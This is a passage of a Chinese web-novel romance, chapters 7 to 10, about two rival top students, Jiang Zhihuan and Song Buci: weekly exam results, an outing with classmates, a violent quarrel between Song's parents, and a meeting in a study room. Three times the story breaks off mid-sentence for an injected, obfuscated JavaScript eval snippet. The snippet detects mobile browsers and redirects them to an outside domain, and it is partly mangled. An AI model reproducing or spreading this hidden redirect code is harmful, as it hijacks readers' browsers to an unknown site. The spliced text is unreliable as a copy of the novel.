夏闲这人,认真学的时候比谁都要命,特别是高一时那股劲,宋不辞拼不过。只是那阵子夏闲的精神状态总是紧绷的,像是有什么怪物在身后催赶警戒着他。 对于宋不辞来说,得把学习当做一种乐趣,这样学进去的效果才更好,也不容易产生反噬。所以他劝夏闲别整天泡在知识的海洋里,偶尔还是出去玩玩,权当散散心放放松,他可不想自己在三中唯一的假想敌因压力大而抑郁了。 好在夏闲听进去了,就是这一放松吧,跟变了个人似的。宋不辞不知道他每天晚上都干嘛去了,成天都一副昏昏欲睡的模样,白天抓住空闲时间就可劲补觉,连打羽毛球的频率都减少了。宋不辞曾问过,但夏闲不愿意透露。 不过,他人比之前活泼点了,成绩也没出问题。因此,宋不辞对夏闲“随时随地大小睡”的情况已经见怪不怪。 这次周考难度适中,除了语文作文有点不同寻常。近两年来江城考的题材都是议论文,如果条理清晰,表达明确,没有偏题,分数不会太低。 但议论文,有人喜欢,熟悉掌握套路便能写出;有人抱怨,觉得这太模式化,更喜欢记叙文。 也不知是不是看在刚开学的份上,出题老师决定做个好人,给了两个选择。 议论文是关于电子设备,记叙文是半命题——“抓______”。 抓……?实在是引人展开无限遐想。 宋不辞觉得这个题目挺有趣,他看了眼熟睡如死的夏闲,觉得这货应该写“抓睡眠”“抓紧时间补觉”“抓不完的羊,睡不够的觉”诸如此类。 笔在指间转了两圈,他的好奇心油然而生。 也不知道后桌想抓什么。 … 离放学还有三分钟时,写作业的夏闲停笔,用笔头轻敲了下宋不辞的桌面。 “今天也帮你甩掉?”他平时说话音量就偏低,这会儿更是低若蚊吟。 宋不辞是靠对好哥们多年的了解,以及嘴型,猜出夏闲说的什么。他摇了下头,徐情说过保镖已经换了,恐怕这次故技重施没那么容易成功。 夏闲是个人精,大概是估摸出点什么,当即皱了下眉,肉眼可见的厌恶与烦躁。 宋不辞嘴边扯起一抹幅度,似苦笑又似自嘲,仿佛在说啧,难兄难弟啊。 认真的? 夏闲的眼睛不着痕迹地向他后面划了下,用眼神问。 “有缘的人,总会再相见。” 这句话,奶奶在世时对宋不辞讲过。她说缘分是个奇妙的东西,最美好的相遇是撞与等。 那时宋不辞还是个情窦未开的小学生,爱呼朋结伴去爬树装美猴王,理解不了其中的奥义。直到在三番两次遇见姜知幻,才惊觉两人之间的故事发展就像奶奶曾说过的字字句句,意外又合理地发生了。 他对她,是很认真的喜欢。 这一点,宋不辞能明确。他觑夏闲一眼,心说你把谁当渣男看呢? 偏偏在这个节骨眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13758466|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 打铃声和夏闲的叹气声一并响起,他抓起早收拾好的书包,拍拍宋不辞的肩。那未能说出口的话化解成了这个动作。 任重道远,哥们。 宋不辞明白。 夏闲识趣地没当电灯泡,直接走人。 看两人演了三分钟哑剧,姜知幻的视线落在夏闲拍宋不辞肩膀的那只手上。待人走后,她的视线又在肩膀上停留片刻。 “发什么呆呢?”宋不辞打了个响指,唤回她的思绪。 “在想作文题目有没有偏题。”姜知幻随口一说,意识到他在等自己,开始快速收拾东西。 “不急,慢慢收拾。”宋不辞倚着桌旁,顺着她的话问,“你作文题目写的什么?” 既然他都这样说了,姜知幻放慢速度,毕竟能多呆一会儿是一会儿。 闻言,她眼底划过一丝狡黠的笑意,“你想知道?” “想。”宋不辞毫不犹豫地回,半点不扭捏。 “不告诉你。”姜知幻故意卖关子道,背上书包,转身走人。 宋不辞笑了下,追上她的脚步,语气拖拉散漫:“姜同学,不坦诚啊你。” 慢两人几步出教室的“老六”和范洋嘀咕:“你说那俩,是不是谈上了?” “你说宋不辞和姜知幻?不能吧,就老宋的性格,跟我们相处时不也一样。”范洋不赞同道,“你别疑神疑鬼的,教导主任的思想都比你开阔,看见一男一女走得近,第一反应都不是在谈恋爱。男女之间不能拥有纯友谊吗?说不定两人是死党关系。” “老六”斜他一眼,一副“懒得跟你这个钢铁直男多言”的表情。 教学楼下。 姜知幻突然想到了什么,凑近宋不辞,压低声音问:“三中抓早恋严吗?” “严,教导主任眼光毒辣,一抓一个准呢。”宋不辞嘴角微翘,用同样的音量回,“不过……” 姜知幻:“不过什么?” “咱俩是闺蜜关系,不会被误抓。”宋不辞说。 姜知幻恍然大悟,“对喔!” 对个头。 宋不辞悠悠看她一眼,也不知道她是揣着明白装糊涂,还是真没懂。 姜知幻挑着眉笑,话题回到最初,“你的作文题目写的什么?” “抓不坦诚的人。”宋不辞懒洋洋道。 一听就是假的。 姜知幻将信将疑地“哦”了声,给出中肯评价:“挺吸引读者的阅读兴趣。” 宋不辞:“……” 就快要走到校门口时,他忽地叫了声:“姜知幻。” “怎么了?”姜知幻转头看向他。 宋不辞跟变戏法似地拿出三根棒棒糖,递到她面前,“选一个喜欢的口味。” 白桃、葡萄和青柠。 “如果没有呢?”姜知幻扫了眼,没细看,反问。 “那你告诉我喜欢的口味,我下次多买两根。”宋不辞举糖的动作没变,目光撇向别处,说。 姜知幻看着他微微泛红的耳垂,眼底笑意愈浓,说:“不用,我喜欢这个。” 她抽走了青柠味。 宋不辞看了眼,又将其他两根给她。 姜知幻:“?” “本来就打算全给你。”宋不辞说,但在这之前,他想知道她喜欢什么口味。 姜知幻抿了抿嘴角。 “今天不送你回家了。”离校门口越近,宋不辞走得越慢。 “所以……”姜知幻晃了晃手里的三根棒棒糖,展颜一笑,“这是为了安慰我?” 夜色温柔,晚风温柔,少女的眉眼也很温柔。 宋不辞目不转睛地看着她,一时语塞。 8. Chase 星期天放假一整天,算是周考后的放松。 早上九点多,收到韦枫发来的邀约时,姜知幻在跟周知敏通电话,开了免提。 “外婆,我今天有别的安排,中秋节再去找你。”她边说,边点开消息。 XxX:知幻,你今天有空吗? XxX:要不要跟我们一起去逛街? XxX:有我,冯潇潇和齐思,都是你认识的人 “你有什么安排?学习?你来这儿也能学,两周没见,外婆外公都想你了。” 熟悉的感情牌。 “不是学习。”姜知幻说,“这不刚开学没多久嘛,班长邀请我去逛街,外婆你之前不是跟我说过,融入新集体也很重要。” “话虽这么说……那好吧,你中秋节一定要来哦。”周知敏犹豫了下,松口。 姜知幻乖巧地“嗯嗯”两声。 周知敏倒是没有想挂断的意思,问:“有知,你们班长叫什么名字啊?成绩怎么样?” “她人挺好的。”姜知幻抬手打字,没有多言。 姜郎不才尽:好 姜郎不才尽:在哪儿集合? “益者才为友,你要擦亮眼睛,别跟无用的人做朋友。”周知敏苦口婆心道。 在你眼里,怎样的人算作无用? 姜知幻懒得细想,回:“外婆,您就放一百个心吧。” 她从小对港话和江城话虽耳濡目染,但在京城待得更久,口音这种东西不是随随便便,说改就改的。 有时那一口京片儿味顺其自然就冒出来了,连姜知幻自己都没意识到。 周知敏和傅凌杰不喜欢这口音,每次听到后脸色瞬变。 “嗯,那你中秋记得过来。”周知敏的语气明显冷淡了许多。 姜知幻挺无奈地耸耸肩,“好的外婆,一定来。” … 按照韦枫玥发的地址,姜知幻来到江岸步行街。刚下车,远远看见三人站在小吃摊前。 “知幻,这里!”冯潇潇手里拿着一根淀粉肠,最先注意到姜知幻,兴高采烈地冲她挥手。 姜知幻快步过去。 “我们早饭没吃,打算买点东西垫垫。你要买吗?”韦枫玥问。 姜知幻看了眼她手中的淀粉肠,果断道:“买。” “叔叔,来根淀粉肠。”她转脸面向老板,说。 老板在拌凉面,忙而不乱,“要得,你直接拿。” 冯潇潇诧异,上下打量着她,喃喃:“原来有钱人也好这口。” 齐思比较文静,只附和地点了下头,没说话。 开学第一天,冯潇潇就发现这位新同学不简单。从头到脚的打扮不低于四位数,最便宜的……感觉应该是头上的皮筋了,但她暂时没看出是哪个牌子。 “吃货都好这口。”姜知幻付完钱,朝她们眨眼笑,拿起一根淀粉肠沾保鲜盒里的辣椒面。 冯潇潇和齐思同时愣了下,两人与韦枫玥对视。 韦枫玥抿唇浅笑,都说了她人很好相处,现在信了吧。 刚开学的时间比较松散,四个女生先去服装店里左挑右选,又去饰品店转了圈。悠悠荡荡,也才耗费三个多小时。 “要不我们去看电影吧!”一直沉默寡言的齐思突发奇想。 冯潇潇大手一挥,“好啊,难得你这个闷葫芦提出建议,必须支持配合!” 齐思脸色微红,羞赧地低下头。 “看什么电影?”姜知幻是个行动派,已经摸出手机,划看着有档期的电影。 韦枫玥凑在她身旁一起看。 齐思抬头,小声问:“有《路边野餐》吗?” “有的。”姜知幻说,“就看这部?” 其他三人表示没意见。姜知幻询问坐第几排,选好坐后付了全部的钱。 冯潇潇和齐思还没加她,让她把二维码名片亮出来。 以前的同学都是享受免费白嫖,加上姜知幻花钱大手大脚惯了,并不会太在乎这种事。所以,当听到她们说要AA时,下意识回了两个字:“不用。” 冯潇潇和齐思惊讶。 “不行。”韦枫玥按住她收起手机的手,板着脸说,“一段关系的稳定需要有来有回。” 冯潇潇和齐思点头如捣蒜,“班长说的对,你要是不收钱,我们心里会过意不去的。” “……好。”道理姜知幻都懂,不过还是第一次有人这样正义凛然地对她说。 冯潇潇欣慰地点头,“听话的好孩子。” “去你的。”姜知幻笑骂道。 四人互相打打闹闹地加上微.信。 姜知幻喜欢看恐怖悬疑类的片子,几乎不怎么看文艺片。而这次的《路边野餐》给了她前所未有的震撼,整部电影看完,感觉像是做了一场梦。 “当我的光曝在你身上,重逢就是一间暗室。” 电影中的这句台词盘旋在姜知幻脑中,久久未能消散。 影片结束,四人没动,安静地坐了三四分钟才缓过神来。 “不说则已,一说惊人。”冯潇潇将竖起大拇指伸到齐思面前。 不知谁“噗嗤”一声,其他人没绷住,也都跟着笑了。 青春里,有些突如其来的笑不需要原因。 … 电影看完,冯潇潇嚷嚷着饿了,于是四人去了乡村基。 姜知幻的电影票没扔,她对着票拍了张照片,还没来得及发出去,姜陆予的视频电话先弹出。 接通后,姜知幻粲然一笑,将脸正对手机屏幕,“Hello~姜老板。” 除了跟宋不辞讲话,韦枫玥还没见过她这么开心。 屏幕里,男人的西装领带规整地系着,坐在真皮沙发上,估计是刚忙完。 “小知,你在干什么?”姜陆予问。 听见手机里传出的粤语,正狼吞虎咽的冯潇潇懵逼,嘴比脑子快,也小声道:“内内做干…干…干啥?” 学着学着,舌头不可控地打结了。 姜知幻用流利的粤语回,“我和朋友们一起出来玩,刚看完电影饿了,在吃东西。” “这么快就交到新朋友了?”姜陆予说,“钱够用吗?” 姜知幻拿起一块鸡块,咬了口,说:“够。” 嘘寒问暖几句,姜陆予说:“十四号我要来江城,你有不有需要的东西,我给你带过来。” “没……没有。”姜知幻想了想,肯定道。她吃完鸡块,颇为伤感地叹了口气,说:“想见傅女士了。” 姜陆予那张冷峻的脸上浮现起一丝笑容,连目光都温柔了不少,“我也想她了。” “咦,又撒狗粮。”姜知幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13758467|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫌弃地翻了个白眼,“姜老板,记得按时吃饭,挂了。” 叽里咕噜聊了一大堆,冯潇潇没听懂几句。她心直口快,问:“知幻,谁啊?” “我爸。” 姜知幻点开与宋不辞的聊天界面,将电影票照片发了过去。 姜郎不才尽:看过吗? 她放下手机,对上冯潇潇饱含疑惑的眼睛。 “你和你爸一般都用粤语交流吗?”冯潇潇问。 姜知幻喝了口冰可乐,“大多时候是这样,有时也用京城话,或者江城话。” “你叫‘姜老板’,他不会觉得冒犯吗?”齐思小心翼翼地问。 姜知幻笑笑,“这有什么冒犯的,开玩笑而已,他有时候也会叫我‘小姜同志’。” 不过这种玩笑,在亲人中,仅限父母和陈叔。 “真羡慕,我爸要是听到我这样叫他,指定得数落一顿。”冯潇潇说。 齐思赞成地点了下头。 不用羡慕……姜知幻嘴唇嗫嚅两下,觉得这话似乎有点生硬,不适合安慰人。 苦思冥想半秒,她默默咽了回去,想起之前宋不辞给的糖,看了眼她们面前的食物,说:“多吃点。” “嘶,话说回来…”好在冯潇潇思想跳跃,话题揭得飞快,她眼睛骨碌碌转了几下,问,“知幻,你跟宋不辞是不是很熟啊?” 随着她的话说出,韦枫玥看了眼姜知幻。 熟吗? 姜知幻不答反问:“熟的定义是什么?” “就是……哎呀,怎么说呢……”一下子被问住,冯潇潇没组织好语言,换了个问题,“你喜不喜欢宋不辞?” 这个年纪的聊天嘛,总归是少不了关于情情爱爱方面的八卦。 “你喜欢吗?”姜知幻手撑下巴,一双漂亮精致的眼睛似笑非笑,像只乐衷于逗人炸毛的狡猾狐狸。 这漫不经心的语气,有那么一瞬间,齐思以为是宋不辞在说话。 “他太不正经了,我还是比较喜欢……”冯潇潇说着说着,如她所愿地炸毛了,“卧槽,你这女人太阴险了,净想着套路我。” 姜知幻得意地挑了下眉,“喜欢温玉有什么不能说的?难道另有其人?” 冯潇潇埋头往嘴里塞薯条,拒绝跟她对话。 “我看网上说,喜欢一个人,哪怕是细枝末节都与对方相关。”姜知幻慢慢道,“比如,网名。” 韦枫玥抿唇不语,倒是齐思有点不淡定。 冯潇潇兴致索然地摆摆手,反驳道:“你那网名就算了,谐音网名,看不出猫腻。班长的网名就是个颜表情,没啥探讨性,至于齐思的,手剥橙?你喜欢亲手给你剥橙子的人?” 齐思看她的眼神宛若在看一个傻子:“……” “知幻,你为什么要叫姜郎不才尽?”韦枫玥好奇道。 姜知幻笑笑,“字面意思。” “那你喜不喜欢宋不辞?”冯潇潇顺势接道。 姜知幻不上当,“那你喜欢的是不是另有其人?” “你脑子怎么转得这么快?”冯潇潇气得不行,偏偏就是从她口中套不出丁点有用的东西。 姜知幻笑眼旁观她抓狂的样子。 喜不喜欢宋不辞?也许是喜欢的。 但她不确定如今的程度,到底算不算喜欢。 9. Chase 在徐情的威逼利诱下,宋不辞妥协,在家待了一天。家教老师“onebyone”地来,他一度觉得自己快学魔怔了。 但反抗过的事不是毫无起色,好歹卧室里只留了一个摄像头。宋不辞故技重施,把摄像头拆了泡水里。 化学老师走后,宋不辞躺在床上闭目养神,将今天讲的知识点在脑中重新梳理了遍,然后摘下脖子上的链条,起身去洗了个澡。 洗完,他手拿毛巾边擦头发,边走到床头柜前,拿起正在充电的手机看了眼。 半小时前,姜知幻发来两条消息。 姜郎不才尽:[图片] 姜郎不才尽:看过吗? 宋不辞点开图片,看清电影名。 这部片子,刚上映时就跟温玉和夏闲去看了。温玉那个大忙人难得抽出时间。 他在聊天框里敲下一行字,发送后,不自觉地勾起嘴角。 serendipity:下次一起再看一遍? 宋不辞头发没擦两下,湿漉漉的。他低头,额前发丝随意耷拉,略遮眉眼,发梢还在往下滴水。 水珠滴到屏幕上,宋不辞用指腹抹开,同时,手里的手机震了下。 姜郎不才尽:[视频] 姜郎不才尽:你在干什么? 视频内容是拍的月亮,镜头有些晃,应该是边走边录的。bgm是少女清透的嗓音,语气温凉如水。 “宋不辞,请你看月亮。” 话音刚落,一只骨感美又修长的手出现在镜头前,比了个横着的耶。这样看去,月亮像是被夹在两指之间。 视频播放结束。 宋不辞眼底笑意还未扩散,楼下突然传来一声巨响,伴随男女激烈的争吵声。 他翘起的嘴角瞬间僵住,面不改色地放下手机,朝门口走去。 “徐情,一吵架就翻旧账有意思吗?我有我的工作,难道一天到晚都得看着他吗!因为回家次数少就断定我不在乎他?你能不能不要总是曲解人心!再说了,你回家的次数有比我多多少?” “我回家次数不多,但我一直在管他!从小到大,他的学习有落下过吗?怎么到你那儿连个人都看不住!” …… 歇斯底里,不绝于耳。 宋不辞慢步走下楼梯,到最后两阶时,只听“硴啦”一声,他下意识闭眼。 玻璃杯砸在楼梯扶手上,锋利的碎片四处飞溅,有一片不小心划过宋不辞的脖侧。 “离婚!”徐情怒不可遏地大吼,声音尖锐,如同细针一般穿透耳膜。 “离就离!”宋无恙不甘示弱地吼回去,声音雄浑有力,仿佛余声还在屋里回荡。 语罢,他转身拿上车钥匙,怒气冲冲地出了门。 大门“砰”地砸上。 整个世界仿佛都安静了。 徐情一个人坐在沙发上生闷气,丝毫没注意到宋不辞的存在。 父母每次感情破裂的爆发,从不会顾忌他。两人总以口头上的离婚潦草收场,过段时间又变得其乐融融。 宋不辞对这种生活形态难以共情,那样声嘶力竭地骂过,用最刻薄的语言攻击,有时还把对方打得头破血流进了医院。结局却自始至终没变过,和解后再反复上演相同的闹剧。 他劝说过,不合适就离婚,不要因为自己而忍受。 他不想成为谁的枷锁或负担。 只是徐情和宋无恙老用“你的重心应该放在学习上,别管我们这些鸡毛蒜皮的小事”这句话搪塞。 也许很多年后TA们能理解,恰巧这些经常发生的鸡毛蒜皮的小事,使孩子的孤独、害怕、无助、恐惧叠加,最终,汇聚成一生阴影。也许TA们永远不会理解。 渐渐的,宋不辞练对这些事熟视无睹。他沉默地将地上的碎玻璃清理干净,再接了杯热水,放到徐情面前的茶几上。 “妈,早点睡。”宋不辞说。 徐情深吸一口气,平复好心情,问:“那些老师讲的怎么样?有不有需要换的?” 宋不辞:“都听懂了,没有。” “嗯。”徐情喝了口热水,说,“记住上学期期末的排名和总分,我不希望有所下降。” … 直至到家,姜知幻都没收到宋不辞的回信。 这人怎么聊着聊着就消失了? 她放下马尾,把皮筋丢进一个透明收纳盒,里面躺着许多根同样的皮筋。网购几块钱一大包,不是什么牌子,质量也参差不齐,有些稍微用点力就容易扯断。 姜知幻已经用断了五根,但好在便宜又量多,断了不心疼,接着换下一根用就行。 揉按了会儿头皮,姜知幻起身走向书桌,将手机静音搁置一旁,随即拿出一本英语词汇书和草稿本。 今日份的单词还没背。 她背单词一般分两步,已背过的根据艾宾浩斯遗忘曲线重复记忆,加深印象。没背过的新单词如果较短,便运用拆分联想记忆法,比如sheer这个单词,先分成“she”和“er”来看,然后根据意思进行造句。 Sheer的意思:adj.纯粹的,十足的;adv.陡峭地,垂直地。 例句:她(she)儿(er)子敢爬上陡峭十足的悬崖,纯粹是因为胆子大。 如果较长,那对于姜知幻来说就更好背了,可以直接根据读音拼写出来。 比如serendipity,边读边写下“se”“ren”“di”“pity”。 学习嘛,就是要找到适合自己的方法去学,以及注重劳逸结合。两眼一睁开始学,直到两眼一闭才结束,这样不顾死活的节奏姜知幻适应不了,久了会产生厌烦心理。 一个小时后,姜知幻合上书本,看了眼手机,顺便解除静音。 二十分钟前,宋不辞回复了她。 serendipity:[图片] serendipity:在欣赏你请我看的月亮 他拍的照片,是两人今晚看的同一轮月亮。 姜知幻情不自禁地扬起笑,想了想,把宋不辞备注改成一个emoji表情。 姜郎不才尽:晚安 姜郎不才尽:【月亮.emoji】 serendipity:晚安 serendipity:【玫瑰】 - 星期一,早自习。 关顺拿着成绩单走进教室,她拍拍手,示意大家不用读了,先坐下。 整个班瞬间安静下来,五十几双眼睛齐齐看着讲台。关顺没有废话,直接将成绩单投影到白板上。 待聚焦清晰后,全班顿时一片哗然,都惊讶地转头,看向离后门最近的两排。 姜知幻淡定自若,扫了眼自己的成绩。 语文138,英语150,数学150,理综300,总分738,班级排名第一,年级排名第一。 还算理想。 思及此,姜知幻又看了下宋不辞的成绩。 语文139,英语141,数学150,理综300,总分730,班级排名第二,年级排名第二。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13758468|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋不辞面上无波无澜,手腕却微不可查地抖了下。 相比上学期期末,总分上升了,但排名下降了。 徐情希望的是什么? 总分和排名都不能下降,否则……他垂眸,盯着课本。 夏闲打了个哈欠,目光往下,在第六行看到自己的名字。 “这次周考难度不算大,就当是练手,后面还有一次练手,紧接着便是月考。”关顺清清嗓子,说,“相信大家从这次周考中也找回了状态,我大致看了下,有些同学的发挥比上学期期末还好,值得表扬。” 她说完,带头鼓了两下掌。 众人笑,跟着鼓掌。 关顺观察了每个人的反应,说:“首先恭喜姜知幻同学,融入咱们卷心菜班的节奏,成为了新的‘卷心菜大王’。” 姜知幻感觉自己头顶冒出了三个问号。 卷心菜大王?什么奇葩名儿。 “其次是‘卷心菜小王’宋不辞,名次虽有变化,但他的比上学期期末多了两分,高考总分才750,你留给自己的进步空间越来越少了。”关顺开玩笑道。 全班哄堂大笑,气氛变得轻松了几分。 卷心菜小王?行吧,这名儿也还行。 姜知幻立马改观。 宋不辞的情绪很快转换过来,笑着冲关顺抱了个拳,语气怪不正经,“江湖最高礼仪。” “回敬。”关顺也冲他抱了个拳,继而目光转向夏闲,说,“不过少侠,你同桌这次的状态有点掉线,待会早自习完,让他来我办公室一趟。” “听见没,少侠。”宋不辞转头,漫不经心地传话。 夏闲懒洋洋地点了下头,“听见了,两个耳朵都听见了。” 全班被逗笑。 关顺又针对其他成绩起伏变化较大的同学说了两句,随后把成绩单交给韦枫玥,让她贴在黑板上。 “一次周考代表不了什么,人生就是不断在失误中进步,如果有什么问题,欢迎来办公室找我。” “好。”全班说。 关顺前脚刚走,姜知幻马上拿出手机,给爸妈和陈叔分享喜讯。 陈叔回复得最快,先是夸赞一番,然后又说如果觉得累了,就暂时把学习放一边,身体最重要。 姜知幻一目十行地看完,回了个“OK”的表情包。 离第一节课还有五分钟,教室里闹哄哄的,话题都是围绕成绩展开。夏闲去办公室了,宋不辞低头看着什么,偶尔跟路过搭话的同学回应两句。 听着分明是欢快的语气,但姜知幻莫名感觉他兴致不高。 “宋不辞。”她伸手拍了拍宋不辞的右肩,目光却落到他的脖侧上,“你脖子怎么了?” 宋不辞边转过身,边摸了下脖侧,迷惑:“嗯?” 姜知幻直接点开相机,对着他的脖侧上那条划痕拍下照片,然后手机调转让他看,“总不能是指甲划的吧?” 宋不辞低头看了眼,脖侧的划痕像一条细小红线,伤口不算严重,目测应该没几天就能自愈。 应该是昨晚不小心被玻璃划到了,当时未觉。 姜知幻端详了那条红线一会儿,笑了,说:“不过还挺好看。” “你什么恶趣味。”宋不辞也笑,神情散漫慵懒,把手机息屏还给她。 姜知幻手撑下巴,任手机正大光明地躺在课桌上。她一瞬不瞬地看着他,笑意渐渐收敛,眼里带着洞察人心的犀利。 “你笑得好假。”她毫不留情地揭穿道,语气直白得可怕。但声音轻轻,只有对方能听见。 10. Chase 他的伪装被对方轻易识破。 “是吗。”宋不辞轻声淡道。 这才是真实的他,情绪低落时会冷脸会话少,而不是继续以笑容来粉饰。 姜知幻的眼神略有缓和,所幸她的直觉没错。 “要上课了,待会儿聊。”她看着他的眼睛,说。 在陈述句中,宋不辞貌似听出点询问的意味。 这感觉像是如果他现在就想聊,那她会直接带他翘课。 姜知幻也确有此意,不过不是翘课,而是去请假。 翘课要是被周知敏和傅凌杰知道,免不了会招来一顿说教。如果关顺不批准,那就……从长计议? 可是他家里人貌似管得挺严。 宋不辞垂下眼睑,同她对视。 他还是第一次见到姜知幻这副模样,她歪着头,笑容明媚灿烂,有种极具欺骗性的乖巧。而眼里那股炙热的真诚毫不掩饰,浓烈到仿佛能侵入人的心底。 “好。”宋不辞眼睫轻动,喉间溢出一声短促的笑。 第一节是语文课。 李净秋抱着一叠答题卡,踩着高跟鞋“哒哒哒”地走进教室。趁着戴小蜜蜂的空隙,她让语文课代表找几个同学一起帮忙发下去。 “谢谢。” 接到答题卡,姜知幻翻看了下失分点,阅读部分加起来扣了7分,作文扣5分。 李净秋抖了抖手上的试卷,吹了下麦,确认收音正常,她开门见山地说:“这次我们从后往前讲,先看作文。” 姜知幻从笔筒里抽出一支红笔。 “作文我都看过了,总体来讲不错,大家想抓的东西千奇百怪,有抓青蛙的,有抓蜻蜓的,还有抓月亮的,都很有意思。”李净秋说。 底下笑作一团。 姜知幻吊起眉梢,看着自己的作文题目。 ——抓月亮。 有意思吧。 她也觉得很有意思。 姜知幻对语文老师的好感就是这样上升的,她手里捏着红笔,闲得无聊,于是将“月亮”二字圈起来。 “这次我们班有一位同学得了满分。”李净秋神神秘秘道,“你们猜是谁?” 经历早自习的冲击,许多同学都往姜知幻的方向看去。 “没错,就是我们的齐思同学。”李净秋说话的一贯风格,容易让人大喘气。 底下吃惊声一片。 “啊?” “齐思?我没听错吧?” “厉害啊齐思,你写的什么?” 齐思红着脸接受目光洗礼。 “齐思你加把劲,迟早反超温玉。”同桌十分看好道。 众所周知,班里文笔最好的就是温玉。虽然他来学校的次数较少,但不影响江湖上仍有他的传说。 “你夸得太过了。”齐思小声说,目光不由往后门的方向看去。 姜知幻这会儿的注意力全在宋不辞身上。 他欠了吧唧地问夏闲,“你的作文题目是不是写的抓紧时间补觉?” 夏闲用指尖点了点答题卡,示意宋不辞自己看。 他写的作文题目是“抓住另一种信号”,与睡觉八竿子打不着。 “居然是这个。”宋不辞收回视线,语气颇为失望。 夏闲睨他一眼,语气阴阳怪气又带笑,“谁像你一样,整天就想着睡大觉。” 别看夏闲平时一副高冷样儿,实际和宋不辞贫起来,幼稚得不行。 姜知幻百无聊赖地听了会儿两个小学生的互怼,无语地翻了个白眼。 李净秋讲评完作文,停顿了下,说:“虽然以后可能再也不会出记叙文,但即便赶路要紧,也别忘记你笔下曾书写出的风花雪月。语文,一直是最浪漫的学科。” … 说是待会儿聊,但直到下午,姜知幻都没主动找过宋不辞。 晚饭时间,宋不辞和夏闲去打了会儿羽毛球。两人一个没什么胃口,一个嫌这个点的食堂人多。 “诶,你这次怎么回事?”宋不辞买了两瓶冰水,一瓶抵在脑门上降温,另一瓶递给夏闲。 夏闲的排名从初中开始就没跌出过前三,这次一下落到第六,拖累的还是他最擅长的化学。 “状态不好。”夏闲拧开瓶盖,轻描淡写道。 “兄弟你变了,变得沉默了。” 夏闲眉心一跳,握瓶子的手都加重了几分力道,“……” “兄弟抱一下,说说你心里话。”宋不辞唱得声情并茂,展开手臂就要抱他。 夏闲嫌恶心,一把给人推开了,“滚。” 宋不辞乐得不行,正色道:“讲真的夏闲,有些负面情绪是需要抒发的。” 话不能再多说了,越多说就越矫情。 点到为止。 “明白。”夏闲用手里的水碰了下他的水,塑料瓶相撞,他问,“那你呢,第二名,你妈会满意吗?” 宋不辞苦笑了下,懒洋洋地说:“能怎么办,继续负隅顽抗呗。” 两人你一言我一语地走到五楼楼梯口,回班的路要经过一个拐角。宋不辞边转身,边跟夏闲争论熊大和熊二哪个更帅。 夏闲不按常理出牌,说喜羊羊更帅。 拐角另一边,姜知幻刚从校外回来,收拾好书包又匆匆往外跑。 “砰!” 命运般的邂逅。 宋不辞下意识抬手扶住迎面撞上的女生,仔细一看是姜知幻,他散漫地笑了声,说:“慢点啊同学。” 道歉的话顿时卡在喉咙,姜知幻惊喜地抬起头,心说正打算去找你,你就送上门来了。 夏闲没兴趣看戏,头也不回地走向教室。 宋不辞放下手,看见她背着书包,问:“这么急,打算去哪儿?” “自习室。”姜知幻忙不迭道,“我先过去了,你带上作业记得来,不用请假,我已经跟关老师说好了。” 说完,姜知幻绕过宋不辞,拔足狂奔,留他一人愣在原地。 风一般的女子。 三中图书馆里设立了自习室,晚自习如果想单独去自习室学习,需班主任同意。 姜知幻听韦枫玥她们提过几回,来倒是第一次。 自习室是磨砂玻璃门,她打开最里的一间,比起其他自习室,透进这间的光线相对较弱。室内宽敞干净,长桌两旁的木质椅整齐排列,墙上挂着名人名言,窗口前的柜子上还放着两盆仙人掌。 环境不错。 姜知幻放下书包,掏出手机给宋不辞发了条消息,然后一抬头,就跟门口上的摄像头大眼瞪小眼。 “……” 她镇定自若地把手机塞进书包,坐下,拿出习题册、草稿本和笔。 “你这是,换个地方继续卷?”宋不辞推开门,入眼便是少女认真做题地模样。 姜知幻放下笔,问:“这里有巡查老师吗?” “没有。”宋不辞放下书包,指了指摄像头,说,“有它,不需要巡查老师。” 姜知幻若有所思地盯着摄像头看了半晌,预想了下后面要干的事,监控室里的老师看到会不会请家长? 算了,走一步看一步吧。 “你叫我来这儿,没别的话说?”宋不辞问,根本没有顾忌摄像头的存在。 姜知幻看了窗外的天色,还没完全黑,窗帘又是透光材质。 “你是想让我哄你?还是安慰你?”她扭头,眉眼弯弯,直勾勾地凝望着他的眼睛,有点深情款款的意思。 这样的话,她说出来时坦荡如砥,毫不扭捏,眼神也缠人,就像一只浮头滑脑的野狐狸。 视线交汇的瞬间,宋不辞喉头有些发紧。他轻笑一声,状似不经意地看向窗外,语调散漫如常:“没忘就好。” “我还没怎么哄过人。”姜知幻喃喃,看着他微红的耳根,忽地说,“宋不辞,我们来比赛吧。” 